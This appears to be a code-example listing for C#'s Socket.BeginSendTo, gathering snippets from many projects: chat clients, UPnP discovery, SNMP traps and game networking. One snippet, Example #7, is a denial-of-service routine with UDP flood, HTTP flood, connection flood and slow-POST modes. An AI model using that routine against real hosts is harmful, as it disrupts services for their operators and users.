BeginSendTo() public method

public BeginSendTo ( byte buffer, int offset, int size, SocketFlags socketFlags, EndPoint remoteEP, AsyncCallback callback, object state ) : IAsyncResult
buffer byte
offset int
size int
socketFlags SocketFlags
remoteEP System.Net.EndPoint
callback AsyncCallback
state object
return IAsyncResult
Example #1
0
        private void btnOK_Click(object sender, EventArgs e)
        {
            strName = txtName.Text;
            try
            {
                //Using UDP sockets
                clientSocket = new Socket(AddressFamily.InterNetwork,
                    SocketType.Dgram, ProtocolType.Udp);

                //IP address of the server machine
                IPAddress ipAddress = IPAddress.Parse(txtServerIP.Text);
                //Server is listening on port 1000
                IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 1000);

                epServer = (EndPoint)ipEndPoint;

                Data msgToSend = new Data ();
                msgToSend.cmdCommand = Command.Login;
                msgToSend.strMessage = null;
                msgToSend.strName = strName;

                byte[] byteData = msgToSend.ToByte();

                //Login to the server
                clientSocket.BeginSendTo(byteData, 0, byteData.Length,
                    SocketFlags.None, epServer, new AsyncCallback(OnSend), null);
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "SGSclient",
                    MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
 internal void FirstMessage(Socket udp,EndPoint sep)
 {
     DataHandle Handle = new DataHandle();
     string _mess = Generate._AppID + "," + Generate._licenceKey + ","  + Generate.GetMacAddress() + "," + udp.LocalEndPoint.ToString();
     byte[] data = Handle.HaSe(1000,_mess);
     udp.BeginSendTo(data, 0, data.Length, SocketFlags.None, sep, new AsyncCallback((async) => { }), udp);
 }
        //metodo eseguito al click sul pulsante connetti
        private void btnConnect_Click(object sender, EventArgs e)
        {
            //vengono memorizzati il nome utente e
            //viene aggiornata la casella di testo
            _userName = txtUserName.Text.Trim();
            _setText = SetText;

            //viene creato e riempito un pacchetto di richiesta di join alla chat
            Packet sendData = new Packet();
            sendData.DataIdentifier = DataTypeIdentifier.Login;
            sendData.UserName = _userName;

            //viene creato un Socket UDP
            _clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);

            //viene creato un oggetto contenente l'indirizzo IP e la porta del server
            IPAddress serverIP = IPAddress.Parse(txtServerAddress.Text);
            int serverPort = int.Parse(txtServerPort.Text);
            _epServer = new IPEndPoint(serverIP, serverPort);

            //il pacchetto creato viene convertito in un'array di byte
            _dataStream = sendData.ToByteArray();

            //il pacchetto creato viene spedito al server
            _clientSocket.BeginSendTo(_dataStream, 0, _dataStream.Length, SocketFlags.None, _epServer, SendData, null);

            //tutti gli oggetti vengono sempre passati per referenza
            //il client si mette ora in ascolto dei messaggi provenienti dal server
            EndPoint ep = _epServer;
            _dataStream = new byte[Properties.Settings.Default.MAX_PACKET_LENGTH];
            _clientSocket.BeginReceiveFrom(_dataStream, 0, _dataStream.Length, SocketFlags.None, ref ep, ReceiveData, null);
        }
Example #4
0
        /// <summary>
        /// Send message as MessageHandler to desired client
        /// </summary>
        /// <param name="message"></param>
        public void SendToClient(MessageHandler message, Socket serverSocket)
        {
            var buffer = Encoding.ASCII.GetBytes(message.message);

            //TODO: Check if client socket is connected if not stall message
            serverSocket.BeginSendTo(buffer, 0, buffer.Length, SocketFlags.None, new IPEndPoint(IPAddress.Loopback, 1025),
                                     new AsyncCallback(SendToClientCallBack), serverSocket);
        }
Example #5
0
        public IAsyncResult BeginSend(byte[] buffer, int offset, int length, IPEndPoint endPoint, AsyncCallback callback, object state)
        {
            MyAsyncResult result =
                new MyAsyncResult()
            {
                Callback = callback,
                State    = state
            };

            result.AsyncResult = _socket.BeginSendTo(buffer, offset, length, SocketFlags.None, endPoint, OnSocketCallback, result);

            return(result);
        }
Example #6
0
	    public static async Task<bool> DiscoverAsync(object state = null)
	    {
            Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            sock.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1);
            IPEndPoint endpoint = new IPEndPoint(IPAddress.Broadcast, 1900);

            byte[] outBuf = Encoding.ASCII.GetBytes(BroadcastPacket);
            byte[] inBuf = new byte[4096];

	        int tries = MaxTries;
	        while (--tries > 0)
	        {
	            try
	            {
	                TaskFactory factory = new TaskFactory();
	                sock.ReceiveTimeout = DiscoverTimeout;
	                await factory.FromAsync(sock.BeginSendTo(outBuf, 0, outBuf.Length, 0, endpoint, null, null), end =>
	                {
	                    sock.EndSendTo(end);
	                }).ConfigureAwait(false);
	                var ar = sock.BeginReceive(inBuf, 0, inBuf.Length, 0, null, null);
	                if (ar == null) throw new Exception("ar is null");
                    int length = await factory.FromAsync(ar, end => sock.EndReceive(end)).ConfigureAwait(false);

                    string data = Encoding.ASCII.GetString(inBuf, 0, length).ToLowerInvariant();

                    var match = ResponseLocation.Match(data);
                    if (match.Success && match.Groups["location"].Success)
                    {
                        System.Diagnostics.Debug.WriteLine("Found UPnP device at " + match.Groups["location"]);
                        string controlUrl = GetServiceUrl(match.Groups["location"].Value);
                        if (!string.IsNullOrEmpty(controlUrl))
                        {
                            _controlUrl = controlUrl;
                            System.Diagnostics.Debug.WriteLine("Found control URL at " + _controlUrl);
                            return true;                            
                        }
                    }

                }
	            catch (Exception ex)
	            {
	                // ignore timeout exceptions
	                if (!(ex is SocketException && ((SocketException) ex).ErrorCode == 10060))
	                {
	                    System.Diagnostics.Debug.WriteLine(ex.ToString());
	                }
	            }
	        }
            return false;
	    }
Example #7
0
        void Send()
        {
            while (Environment.TickCount < _iTime)
            {
                IPEndPoint ipEndPoint = new IPEndPoint(Utils.ResolveHost(this._strHost), this._iPort);

                Socket s = new Socket(AddressFamily.InterNetwork, this._strType == "Udp" ? SocketType.Dgram : SocketType.Stream, this._strType == "Udp" ? ProtocolType.Udp : ProtocolType.Tcp);

                int iPort = _iPort == 0 ? Utils.RandomInt(1, 65500) : _iPort;

                byte[] arr_bPacket = null;

                switch (this._strType)
                {
                    case "Udpflood":
                        arr_bPacket = Utils.GetBytes(Utils.RandomString(Utils.RandomInt(128, 512)));
                        s.BeginSendTo(arr_bPacket, 0, arr_bPacket.Length, SocketFlags.None, (EndPoint)ipEndPoint, new AsyncCallback(SendToCallback), s);
                        break;
                    case "Httpflood":
                        arr_bPacket = Utils.GetBytes(this.BuildPacket(false, -1));

                        s.Connect((EndPoint)ipEndPoint);
                        s.Send(arr_bPacket);
                        s.Close();
                        break;
                    case "Condis":
                        s.BeginConnect((EndPoint)ipEndPoint, new AsyncCallback(ConnectCallback), s);
                        break;
                    case "Slowpost":
                        int iPacketSize = Utils.RandomInt(128,512);
                        int iSent = 0;
                        arr_bPacket = Utils.GetBytes(this.BuildPacket(true, iPacketSize));
                        s.Connect((EndPoint)ipEndPoint);
                        s.Send(arr_bPacket);
                        while (iSent < iPacketSize)
                        {
                            iSent += s.Send(Utils.GetBytes(Utils.RandomString(1)));
                            Thread.Sleep(100);
                        }
                        s.Send(Utils.GetBytes("Connection: close"));
                        s.Close();
                        break;
                    default: break;
                }

                GC.Collect();
                Thread.Sleep(10);
            }
        }
Example #8
0
        public void Arping( IPAddress ipToSearchFor )
        {
            string ownMAC;
            string ownIP;
            getLocalMacAndIP( out ownIP, out ownMAC );
            char[] aDelimiter = { '.' };
            string[] aIPReso = ipToSearchFor.ToString().Split( aDelimiter, 4 );
            string[] aIPAddr = ownIP.Split( aDelimiter, 4 );

            byte[] oPacket = new byte[] { /*0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
                        Convert.ToByte("0x" + ownMAC.Substring(0,2), 16),
                        Convert.ToByte("0x" + ownMAC.Substring(2,2), 16),
                        Convert.ToByte("0x" + ownMAC.Substring(4,2), 16),
                        Convert.ToByte("0x" + ownMAC.Substring(6,2), 16),
                        Convert.ToByte("0x" + ownMAC.Substring(8,2), 16),
                        Convert.ToByte("0x" + ownMAC.Substring(10,2), 16),
                        0x08, 0x06,*/ 0x00, 0x01,
                        0x08, 0x00, 0x06, 0x04, 0x00, 0x01,
                        Convert.ToByte("0x" + ownMAC.Substring(0,2), 16),
                        Convert.ToByte("0x" + ownMAC.Substring(2,2), 16),
                        Convert.ToByte("0x" + ownMAC.Substring(4,2), 16),
                        Convert.ToByte("0x" + ownMAC.Substring(6,2), 16),
                        Convert.ToByte("0x" + ownMAC.Substring(8,2), 16),
                        Convert.ToByte("0x" + ownMAC.Substring(10,2), 16),
                        Convert.ToByte(aIPAddr[0], 10),
                        Convert.ToByte(aIPAddr[1], 10),
                        Convert.ToByte(aIPAddr[2], 10),
                        Convert.ToByte(aIPAddr[3], 10),
                        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                        Convert.ToByte(aIPReso[0], 10),
                        Convert.ToByte(aIPReso[1], 10),
                        Convert.ToByte(aIPReso[2], 10),
                        Convert.ToByte(aIPReso[3], 10)};
            Socket arpSocket;
            arpSocket = new Socket( System.Net.Sockets.AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Raw );
            //arpSocket.SetSocketOption( SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true );
            arpSocket.EnableBroadcast = true;
            EndPoint localEndPoint = new IPEndPoint( IPAddress.Any, 0 );
            EndPoint remoteEndPoint = new IPEndPoint( ipToSearchFor, 0 );
            arpSocket.Bind( localEndPoint );
            arpSocket.BeginSendTo( oPacket,0,oPacket.Length,SocketFlags.None, remoteEndPoint, null, this);
            byte[] buffer = new byte[100];
            arpSocket.BeginReceiveMessageFrom( buffer, 0, 100, SocketFlags.None, ref remoteEndPoint, null, this);
        }
Example #9
0
        private void _Run(object state)
        {
            ManualResetEvent mre = new ManualResetEvent(true);

            while (_Enable)
            {
                _Mre.WaitOne();

                SocketMessage message;
                lock (_Messages)
                {
                    if (_Messages.Count > 0)
                    {
                        message = _Messages.Dequeue();
                    }
                    else
                    {
                        _Mre.Reset();
                        continue;
                    }
                }

                int size = message.GetPackageSize();

                mre.Reset();
                try
                {
                    m_Socket.BeginSendTo(message.Package, 0, size, SocketFlags.None, message.RemoteEndPoint, _Done, mre);
                }
                catch (Exception e)
                {
                }

                mre.WaitOne();

                /*var
                 * size = message.GetPackageSize();
                 * var count = 0;
                 * while (count < size)
                 * {
                 *  count += m_Socket.SendTo(message.Package, count, size - count, SocketFlags.None, message.RemoteEndPoint);
                 * }*/
            }
        }
        void btnConnect_Click(object sender, RoutedEventArgs e)
        {
            try
            {
                string msgConn = tbName.Text + " connected";

                clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                IPAddress serverIP = IPAddress.Parse(tbIp.Text);
                server = new IPEndPoint(serverIP, 30000);
                epServer = (EndPoint)server;

                byteData = Encoding.UTF8.GetBytes(msgConn);
                clientSocket.BeginSendTo(byteData, 0, byteData.Length > 1024 ? 1024 : byteData.Length, SocketFlags.None, epServer, new AsyncCallback(OnSend), null);

                bytes = new byte[1024];
                clientSocket.BeginReceiveFrom(bytes, 0, 1024, SocketFlags.None, ref epServer, new AsyncCallback(ReceiveData), null);
            }
            catch (Exception ex)
            {
                MessageBox.Show("Connection Error: " + ex.Message);
            }
        }
        public string TestSendUDPToService(string ipaddress,int port)
        {
            Socket socket = new Socket(SocketType.Dgram, ProtocolType.Udp);

            m_bufferManager = BufferManager.CreateBufferManager(100 * 1024, 1024);
            for(int i =0 ;i<=50;i++)
            {
                AsyncClientToken asyncClientToken = new AsyncClientToken();
                //asyncClientToken.HandlerReturnData = handlerReturnData;
                asyncClientToken.Socket = socket;
                //asyncClientToken.MessageID = messageID;
                asyncClientToken.IP = ipaddress;
                asyncClientToken.Port = port;
                asyncClientToken.Buffer = m_bufferManager.TakeBuffer(1024);

                IPEndPoint ipe = new IPEndPoint(IPAddress.Parse(asyncClientToken.IP), asyncClientToken.Port);
                int sendCount = Encoding.UTF8.GetBytes("TestSendUDPToService" + i.ToString(), 0, ("TestSendUDPToService" + i.ToString()).Length, asyncClientToken.Buffer, 0);
                CommonVariables.LogTool.Log(DateTime.Now.ToString(CommonFlag.F_DateTimeFormat) + "   Send:" + asyncClientToken.IP + asyncClientToken.Port.ToString() + "TestSendUDPToService" + i.ToString());
                socket.BeginSendTo(asyncClientToken.Buffer, 0, sendCount, SocketFlags.None, ipe, new AsyncCallback(SendCallback), asyncClientToken);
            }

            return null;
        }
Example #12
0
        private void event_ip()
        {
            strName = util.globals.local_name;
            ip = util.globals.popup_rep;
            util.globals.popup_rep = null;
            try
            {
                //Using UDP sockets
                clientSocket = new Socket(AddressFamily.InterNetwork,
                    SocketType.Dgram, ProtocolType.Udp);

                //IP address of the server machine
                IPAddress ipAddress = IPAddress.Parse(ip);
                //Server is listening on port 1000
                IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 1000);

                epServer = (EndPoint)ipEndPoint;

                Client.Data msgToSend = new Client.Data ();
                msgToSend.cmdCommand = Client.Command.Login;
                msgToSend.strMessage = null;
                msgToSend.strName = strName;

                byte[] byteData = msgToSend.ToByte();

                //Login to the server
                clientSocket.BeginSendTo(byteData, 0, byteData.Length,
                    SocketFlags.None, epServer, new AsyncCallback(OnSend), null);

            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "SGSclient",
                    MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
Example #13
0
    private void btnConnect_Click(object sender, EventArgs e)
    {
      /////////// Поиск ip клиента из DNS таблицы хоста
      IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
      string ip = "";
      for (int i = 0; i < host.AddressList.Length; i++)
      {
        ip = host.AddressList[i].ToString();
        string pattern = @"\d\d?\d?\.\d\d?\d?\.\d\d?\d?\.\d\d?\d?";
        Regex regex = new Regex(pattern);
        Match match = regex.Match(ip);
        if (match.Success)
        {
          break;
        }
      }

      try
      {

        // Initialise a packet object to store the data to be sent
        Packet sendData = new Packet();
        sendData.ChatMessage = null;
        sendData.ChatDataIdentifier = DataIdentifier.LogIn;

        // Initialise socket
        if (clientSocket != null)
        {
          try
          {
            clientSocket.Close();
          }
          catch { }
        }
        this.clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
        IPEndPoint ClientIPE;
        if (ip != "")
          ClientIPE = new IPEndPoint(IPAddress.Parse(ip), 8080);
        else
        {
          MessageBox.Show("Не удалось настроить ip адрес Клиента");
          return;
        }

        clientSocket.Bind(ClientIPE);
        IPAddress serverIP;
        // Initialise server IP
        if (txtIP.Text.Trim() != "")
          serverIP = IPAddress.Parse(txtIP.Text.Trim());
        else
        {
          MessageBox.Show("Введите ip адрес Сервера");
          return;
        }

        // Initialise the IPEndPoint for the server and use port 30000
        IPEndPoint server = new IPEndPoint(serverIP, 30000);

        // Initialise the EndPoint for the server
        epServer = (EndPoint)server;

        // Get packet as byte array
        byte[] data = sendData.GetDataStream();

        // Send data to server
        clientSocket.BeginSendTo(data, 0, data.Length, SocketFlags.None, epServer, new AsyncCallback(this.SendData), null);

        // Initialise data stream
        this.dataStream = new byte[1024];

        // Begin listening for broadcasts
        clientSocket.BeginReceiveFrom(this.dataStream, 0, this.dataStream.Length, SocketFlags.None, ref epServer, new AsyncCallback(this.ReceiveData), null);
      }
      catch (ObjectDisposedException)
      {
        MessageBox.Show("Не удалось подключиться к указанному серверу");
      }
      catch (ArgumentException) { }
      catch (Exception ex)
      {
        try
        {
          clientSocket.Close();
        }
        catch { }
        if (ex.Message == "Удаленный хост принудительно разорвал существующее подключение")
          MessageBox.Show("Не удалось подключиться к серверу", "UDP Client", MessageBoxButtons.OK, MessageBoxIcon.Error);
        else
          MessageBox.Show("Connection Error: " + ex.Message, "UDP Client", MessageBoxButtons.OK, MessageBoxIcon.Error);
      }




    }
Example #14
0
        private void LoginForm_Load(object sender, EventArgs e)
        {
            CheckForIllegalCrossThreadCalls = false;

            try
            {
                //Server is listening on port 1000
                foreach (IPAddress ip in Dns.GetHostAddresses(Dns.GetHostName()))
                    if (ip.AddressFamily == AddressFamily.InterNetwork)
                        IPHost = ip;
                IPEndPoint _localEndPoint = new IPEndPoint(IPHost, 0);
                IPEndPoint _ipEndPoint = new IPEndPoint(IPAddress.Broadcast, 11000);

                _findSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                _findSocket.Bind(_localEndPoint);
                _findSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1);
                //_findSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.DontRoute, 1);

                epServer = (EndPoint)_ipEndPoint;

                Data msgToSend = new Data();
                msgToSend.cmdCommand = Command.ServerList;
                msgToSend.strMessage = null;
                msgToSend.strName = null;

                _byteDataReg = msgToSend.ToByte();

                //Find the servers
                _findSocket.BeginSendTo(_byteDataReg, 0, _byteDataReg.Length,
                    SocketFlags.None, epServer, new AsyncCallback(OnSendReg), null);

                _byteDataReg = new byte[1024];
                //Start listening to the data asynchronously
                _findSocket.BeginReceiveFrom(_byteDataReg,
                                           0, _byteDataReg.Length,
                                           SocketFlags.None,
                                           ref epServer,
                                           new AsyncCallback(OnReceiveReg),
                                           null);
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "SGSclient",
                    MessageBoxButtons.OK, MessageBoxIcon.Error);
            }

            txtName.Text = "user" + (new Random(DateTime.Now.Millisecond).Next() % 89 + 10);
        }
Example #15
0
        void sendCommand(string _cmd)
        {
            Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            byte[] _byteData = Encoding.UTF8.GetBytes(_cmd);
            IPAddress ip = IPAddress.Parse(Program.GetLocalIP4());
            IPEndPoint ipEndPoint = new IPEndPoint(ip, Program.outputPort);

            clientSocket.BeginSendTo(_byteData, 0, _byteData.Length, SocketFlags.None,
                            ipEndPoint, getResponseData, clientSocket);
        }
Example #16
0
        /// <summary>
        /// Allows the game to perform any initialization it needs to before starting to run.
        /// This is where it can query for any required services and load any non-graphic
        /// related content.  Calling base.Initialize will enumerate through any components
        /// and initialize them as well.
        /// </summary>
        protected override void Initialize()
        {
            // TODO: Add your initialization logic here
             strName = "nicktest";
             ship ship1 = new ship();
             ship1.shipx = 0;
             ship1.shipy = 0;
             ship1.shipObj = Content.Load<Texture2D>("test");
             shipList.Add(ship1);
             ship ship2 = new ship();
             ship2.shipx = 300;
             ship2.shipy = 300;
             ship2.shipObj = Content.Load<Texture2D>("test");
             shipList.Add(ship2);

                //Using UDP sockets
                clientSocket = new Socket(AddressFamily.InterNetwork,
                    SocketType.Dgram, ProtocolType.Udp);

                IPHostEntry ipHostInfo = Dns.Resolve(Dns.GetHostName());
                IPAddress ipAddress = ipHostInfo.AddressList[0];
                Console.WriteLine(ipAddress);

                //Server is listening on port 1000
                IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 11000);

                epServer = (EndPoint)ipEndPoint;

                Data msgToSend = new Data();
                msgToSend.cmdCommand = Command.Login;
                msgToSend.strMessage = null;
                msgToSend.strName = strName;

                byte[] byteData = msgToSend.ToByte();

                //Login to the server
                clientSocket.BeginSendTo(byteData, 0, byteData.Length,
                    SocketFlags.None, epServer, new AsyncCallback(OnSend), null);

                byteData = new byte[1024];
                //Start listening to the data asynchronously
                clientSocket.BeginReceiveFrom(byteData, 0, byteData.Length, SocketFlags.None, ref epServer,
                                           new AsyncCallback(OnReceive),null);

            base.Initialize();
        }
 public static Task <int> SendToAsync(this Socket socket, ArraySegment <byte> buffer, SocketFlags socketFlags, EndPoint remoteEP)
 {
     return(Task.Factory.FromAsync((arg1, arg2, arg3, callback, state) => socket.BeginSendTo(arg1.Array, arg1.Offset, arg1.Count, arg2, arg3, callback, state),
                                   socket.EndSendTo, buffer, socketFlags, remoteEP, null));
 }
Example #18
0
File: UDP.cs Project: dzamkov/DUIP
 /// <summary>
 /// Sends data using the given socket.
 /// </summary>
 private void _Send(Socket Socket, IPEndPoint To, Temporary<Data> Data)
 {
     byte[] buffer;
     int offset, size;
     _Bufferize(Data, out buffer, out offset, out size);
     Socket.BeginSendTo(buffer, offset, size, SocketFlags.None, To, delegate(IAsyncResult ar)
     {
         Socket socket = (ar.AsyncState as Socket);
         socket.EndSend(ar);
         if (!this._Receiving)
         {
             this._Receiving = true;
             this._Bind(((IPEndPoint)socket.LocalEndPoint).Port);
         }
     }, Socket);
 }
Example #19
0
        /// <summary>
        /// Allows the game to perform any initialization it needs to before starting to run.
        /// </summary>
        protected override void Initialize()
        {
            // TODO: Add some name detection from forms.
            strName = "nicktest";
            world = new WorldGraphics();
            model = new GraphicsModel();
            world.SetGraphicsModel(model);

            //Setup ships for players 1 & 2 (offscreen to start)
            //GraphicsObject(int id, float x, float y, float radius, float angle, int spriteID, int colorID)
            GraphicsObject ship1 = new GraphicsObject(1, 0, 0, 16, 0, 1, 5);
            model.Update(ship1);
            shipList.Add(ship1);
            GraphicsObject ship2 = new GraphicsObject(2, -16, -16, 16, 0, 1, 7);
            model.Update(ship2);
            shipList.Add(ship2);

            //Setup planet
            GraphicsObject planet = new GraphicsObject(3, 400, 300, 32, 0, 201, 0);
            model.Update(planet);
            planetList.Add(planet);

            //******** Networking Stuff *************
            //Using UDP sockets
            clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            IPHostEntry ipHostInfo = Dns.Resolve(Dns.GetHostName());
            IPAddress ipAddress = ipHostInfo.AddressList[0];
            Console.WriteLine(ipAddress);

            //Server is listening on port 1000
            IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 11000);
            epServer = (EndPoint)ipEndPoint;

            //Get message ready
            Data msgToSend = new Data();
            msgToSend.cmdCommand = Command.Login;
            msgToSend.strMessage = null;
            msgToSend.strName = strName;
            byte[] byteData = msgToSend.ToByte();

            //Login to the server
            clientSocket.BeginSendTo(byteData, 0, byteData.Length, SocketFlags.None, epServer, new AsyncCallback(OnSend), null);
            byteData = new byte[1024];
            //Start listening to the data asynchronously
            clientSocket.BeginReceiveFrom(byteData, 0, byteData.Length, SocketFlags.None, ref epServer, new AsyncCallback(OnReceive), null);
            //******** End Networking Stuff *************
            base.Initialize();
        }
Example #20
0
		private void Connect(string serverIp, string name)
		{
			try
			{
				_chatName = name;

				// Initialize socket.
				_clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);

				// Initialize server IP.
				var serverIP = IPAddress.Parse(serverIp);

				// Initialize the IPEndPoint for the server and use port SERVER_PORT.
				var server = new IPEndPoint(serverIP, ServerInfo.PORT);

				// Initialize the EndPoint for the server.
				_serverEndPoint = server as EndPoint;

				var state = new StateObject()
				{
					Data = new ChatPacket()
					{
						ChatName = _chatName,
						ChatMessage = null,
						ChatDataIdentifier = DataIdentifier.LogIn
					}.Serialize()
				};

				// Send data to server.
				_clientSocket.BeginSendTo(state.Data, 0, state.Data.Length, SocketFlags.None, _serverEndPoint, ar => _clientSocket.EndSend(ar), state);

				// Initialize data stream.
				state = new StateObject();

				// Begin listening for broadcasts from the server.
				_clientSocket.BeginReceiveFrom(state.Data, 0, state.Data.Length, SocketFlags.None, ref _serverEndPoint, EndReceive, state);
			}
			catch (Exception ex)
			{
				Logger.WriteLine("Connection error!");
				Logger.WriteLine(ex.Message);
			}
		}
Example #21
0
        private void btnConnect_Click(object sender, EventArgs e)
        {
            try
            {
                this.name = txtName.Text.Trim();

                // Initialise a packet object to store the data to be sent
                Packet sendData = new Packet();
                sendData.ChatName = this.name;
                sendData.ChatMessage = null;
                sendData.ChatDataIdentifier = DataIdentifier.LogIn;

                // Initialise socket
                this.clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);

                // Initialise server IP
                IPAddress serverIP = IPAddress.Parse(txtServerIP.Text.Trim());

                // Initialise the IPEndPoint for the server and use port 30000
                IPEndPoint server = new IPEndPoint(serverIP, 30000);

                // Initialise the EndPoint for the server
                epServer = (EndPoint)server;

                // Get packet as byte array
                byte[] data = sendData.GetDataStream();

                // Send data to server
                clientSocket.BeginSendTo(data, 0, data.Length, SocketFlags.None, epServer, new AsyncCallback(this.SendData), null);

                // Initialise data stream
                this.dataStream = new byte[1024];

                // Begin listening for broadcasts
                clientSocket.BeginReceiveFrom(this.dataStream, 0, this.dataStream.Length, SocketFlags.None, ref epServer, new AsyncCallback(this.ReceiveData), null);
            }
            catch (Exception ex)
            {
                MessageBox.Show("Connection Error: " + ex.Message, "UDP Client", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
        /// <summary>
        /// Sends an <see cref="ISnmpMessage"/>.
        /// </summary>
        /// <param name="message">The <see cref="ISnmpMessage"/>.</param>
        /// <param name="manager">Manager</param>
        /// <param name="socket">The socket.</param>
        public static void SendAsync(this ISnmpMessage message, EndPoint manager, Socket socket)
        {
            if (message == null)
            {
                throw new ArgumentNullException("message");
            }

            if (socket == null)
            {
                throw new ArgumentNullException("socket");
            }

            if (manager == null)
            {
                throw new ArgumentNullException("manager");
            }

            var code = message.TypeCode();
            if ((code != SnmpType.TrapV1Pdu && code != SnmpType.TrapV2Pdu) && code != SnmpType.ReportPdu)
            {
                throw new InvalidOperationException(string.Format(
                    CultureInfo.InvariantCulture,
                    "not a trap message: {0}",
                    code));
            }

            var bytes = message.ToBytes();
            socket.BeginSendTo(bytes, 0, bytes.Length, SocketFlags.None, manager, ar => socket.EndSendTo(ar), null);
        }
Example #23
0
 public void Send(string ip, int port, byte[] temp_sendbuffer)
 {
     socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
     socket.BeginSendTo(temp_sendbuffer, 0, temp_sendbuffer.Length, SocketFlags.None, (EndPoint)(new IPEndPoint(IPAddress.Parse(ip), port)), new AsyncCallback(SendTo_Callback), socket);
 }
Example #24
0
        public static void sendCommand(IDeviceCommand cmd, IPEndPoint ipEndPoint)
        {
            Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            string strcmd = cmd.getCmd();
            Debug.WriteLine("=> " + strcmd);
            byte[] _byteData = Encoding.UTF8.GetBytes(strcmd);

            clientSocket.BeginSendTo(_byteData, 0, _byteData.Length, SocketFlags.None,
                            ipEndPoint, null, null);
            //clientSocket.BeginSendTo(_byteData, 0, _byteData.Length, SocketFlags.None,
            //    ipEndPoint, getResponseData, new object[] { clientSocket, cmd });
        }
 internal void Send(Socket udp,EndPoint sep, string message,int EventType)
 {
     DataHandle Handle = new DataHandle();
     byte[] data = Handle.HaSe(EventType, message);
     udp.BeginSendTo(data, 0, data.Length, SocketFlags.None, sep, new AsyncCallback((async) => { }), udp);
 }
Example #26
0
 private void button4_Click(object sender, EventArgs e)
 {
     Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.IP);
     byte[] buffer=System.Text.Encoding.Unicode.GetBytes(textBox2.Text);
     SendRes = socket.BeginSendTo(buffer, 0, buffer.Count(), 
         SocketFlags.None, 
         (EndPoint)new IPEndPoint(IPAddress.Parse("10.2.21.255"), 100),
         new AsyncCallback(Send_Completed),
         socket);
 }
Example #27
0
 /// <summary>
 /// Send to asynchronously
 /// </summary>
 /// <param name="socket"></param>
 /// <param name="buffer"></param>
 /// <param name="offset"></param>
 /// <param name="size"></param>
 /// <param name="remoteEndpoint"></param>
 /// <param name="flags"></param>
 /// <returns></returns>
 public static Task <int> SendToAsync(this Socket socket, byte[] buffer,
                                      int offset, int size, SocketFlags flags, EndPoint remoteEndpoint) =>
 Task.Factory.FromAsync((c, o) => socket.BeginSendTo(
                            buffer, offset, size, flags, remoteEndpoint, c, o),
                        socket.EndSendTo, TaskCreationOptions.DenyChildAttach);
Example #28
0
 System.IAsyncResult Utils.Wrappers.Interfaces.ISocket.BeginSendTo(byte[] buffer, int offset, int size, SocketFlags socketFlags, System.Net.EndPoint remoteEP, System.AsyncCallback callback, object state)
 {
     return(InternalSocket.BeginSendTo(buffer, offset, size, socketFlags, remoteEP, callback, state));
 }
Example #29
0
        private bool UdpSend(Socket client)
        {
            if (client == null) { client = Sockets; }
            EndPoint ep = (EndPoint)RemoteIPEP;
            client.BeginSendTo(sendByte, 0, sendByte.Length, SocketFlags.None, ep, new AsyncCallback(UdpSendAC), null);

            return ZBool;
        }